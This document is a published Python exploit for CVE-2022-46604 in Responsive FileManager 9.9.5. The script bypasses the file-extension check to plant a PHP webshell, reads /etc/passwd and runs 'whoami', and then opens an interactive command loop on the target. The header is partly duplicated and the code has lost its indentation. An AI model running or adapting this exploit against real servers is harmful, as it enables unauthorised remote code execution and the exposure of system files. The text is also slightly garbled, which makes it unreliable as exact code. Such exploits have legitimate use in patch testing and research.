# Exploit Title: Responsive FileManager 9.9.5 - Remote Code Execution (RCE)
# Date: 02-Feb-2023
# Exploit Author: Galoget Latorre (@galoget)
# Vendor Homepage: https://responsivefil # Exploit Title: Responsive FileManager 9.9.5 - Remote Code Execution (RCE)
# Date: 02-Feb-2023
# Exploit Author: Galoget Latorre (@galoget)
# Vendor Homepage: https://responsivefilemanager.com
# Software Link: https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.9.5/responsive_filemanager.zip
# Dockerfile: https://github.com/galoget/ResponsiveFileManager-CVE-2022-46604
# Version: 9.9.5
# Language: Python 3.x
# Tested on:
# - Ubuntu 22.04.5 LTS 64-bit
# - Debian GNU/Linux 10 (buster) 64-bit
# - Kali GNU/Linux 2022.3 64-bit
# CVE: CVE-2022-46604 (Konstantin Burov)


#!/usr/bin/python3
# -*- coding:utf-8 -*-

import sys
import requests
from bs4 import BeautifulSoup
from termcolor import colored, cprint


# Usage: python3 exploit.py <target.site>
# Example: python3 exploit.py 127.0.0.1


def banner():
"""
Function to print the banner
"""

banner_text = """
_____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___
| | | | __| ___ |_ | |_ |_ | ___ | | | _| _| | | |
| --| | | __| |___| | _| | | _| _| |___| |_ | . | . | | |_ |
|_____|\___/|_____| |___|___|___|___| |_|___|___|___| |_|

File Creation Extension Bypass in Responsive FileManager ≤ 9.9.5 (RCE)
Exploit Author: Galoget Latorre (@galoget)
CVE Author: Konstantin Burov
"""
print(banner_text)


def usage_instructions():
"""
Function that validates the number of arguments.
The aplication MUST have 2 arguments:
- [0]: Name of the script
- [1]: Target site, which can be a domain or an IP Address
"""
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target.site>")
print("Example: python3 exploit.py 127.0.0.1")
sys.exit(0)


def run_command(web_session, webshell_url, command_to_run):
"""
Function that:
- Interacts with the webshell to run a command
- Cleans the response of the webshell
- Returns the response object and the output of the command
"""
webshell_response = web_session.get(url = webshell_url + f"?cmd={command_to_run}", headers = headers)
command_output_soup = BeautifulSoup(webshell_response.text, 'html.parser')
return (webshell_response, command_output_soup.find('pre').text)


if __name__ == "__main__":
banner()
usage_instructions()

# Change this with the domain or IP address to attack
if sys.argv[1]:
host = sys.argv[1]
else:
host = "127.0.0.1"

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36',
}


# URL to create a new file
target_url = f"http://{host}/filemanager/execute.php?action=create_file"

# Change this to customize the payload (i.e. The content of the malicious file that will be created)
payload = "<html><body><form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"><input type="TEXT" name="cmd" autofocus id="cmd" size="80"><input type="SUBMIT" value="Execute"></form><pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?></pre></body></html>"
# oneliner_payload = " <?=`$_GET[_]`?>"

# URL to get a PHPSESSID value
cookie_url = f"http://{host}/filemanager/dialog.php"

# New Session
session = requests.Session()

# GET request to retrieve a PHPSESSID value
cprint(f"[*] Trying to get a PHPSESSID at {host}", "blue")
try:
session.get(url = cookie_url, headers = headers)
except:
cprint(f"[-] Something went wrong when trying to connect to '{host}'.", "red")
sys.exit(0)

if session.cookies.get_dict():
cprint("[+] PHPSESSID retrieved correctly.", "green")
cprint(f"[!] PHPSESSID: {session.cookies.get_dict()['PHPSESSID']}", "yellow")
else:
cprint("[-] Something went wrong when trying to get a PHPSESSID.", "red")

# Params, rename if you want
params = {"path": "shell.php", "path_thumb": "../thumbs/shell.php", "name": "shell.txt", "new_content": payload}

# POST request to create the webshell
cprint(f" [*] Attempting to create a webshell on {host}", "blue")
response = session.post(url = target_url, headers = headers, data = params)

# If the status code and the message match, we may have a webshell inside. ;)
if response.status_code == 200 and response.text == "File successfully saved.":
# Default webshell path
shell_url = f"http://{host}/source/shell.php"

# Verify if the shell was uploaded by running whoami and cat /etc/passwd
webshell, whoami_output = run_command(session, shell_url, "whoami")
webshell, passwd_output = run_command(session, shell_url, "cat /etc/passwd")

# Common users when getting a webshell
common_users = ["www-data", "apache", "nobody", "apache2", "root", "administrator", "admin"]

# Verify if the command was executed correctly
if webshell.status_code == 200 or whoami_output.lower() in common_users or "root:x::" in passwd_output:
cprint("[+] Webshell uploaded - Enjoy!", "green")
cprint(f"[!] Webshell available at '{shell_url}' - Enjoy!", "yellow")
cprint(f"[+] Running `whoami` command: {whoami_output}", "green")


# Ask to enter into a pseudo-interactive mode with the webshell
answer = input(colored("Do you want to enter into interactive mode with the webshell? (Y/N): ", "magenta"))

if answer.upper() == "Y":
cprint(" [*] Entering into interactive mode, write 'exit' to quit. ", "blue")
command = ""
while command != "exit":
command = input(colored(">> ", "cyan")).lower()
webshell, command_output = run_command(session, shell_url, command)
if command != "exit":
cprint(command_output, "cyan")

cprint(" [*] Exiting...Bye!", "blue")

elif response.status_code == 403 and response.text == "The file is already existing":
cprint("[-] The file that you're trying to create is already on the server.", "red")

else:
cprint(f"[-] The server returned Status Code: '{response.status_code}' and this text: '{response.text}'", "red")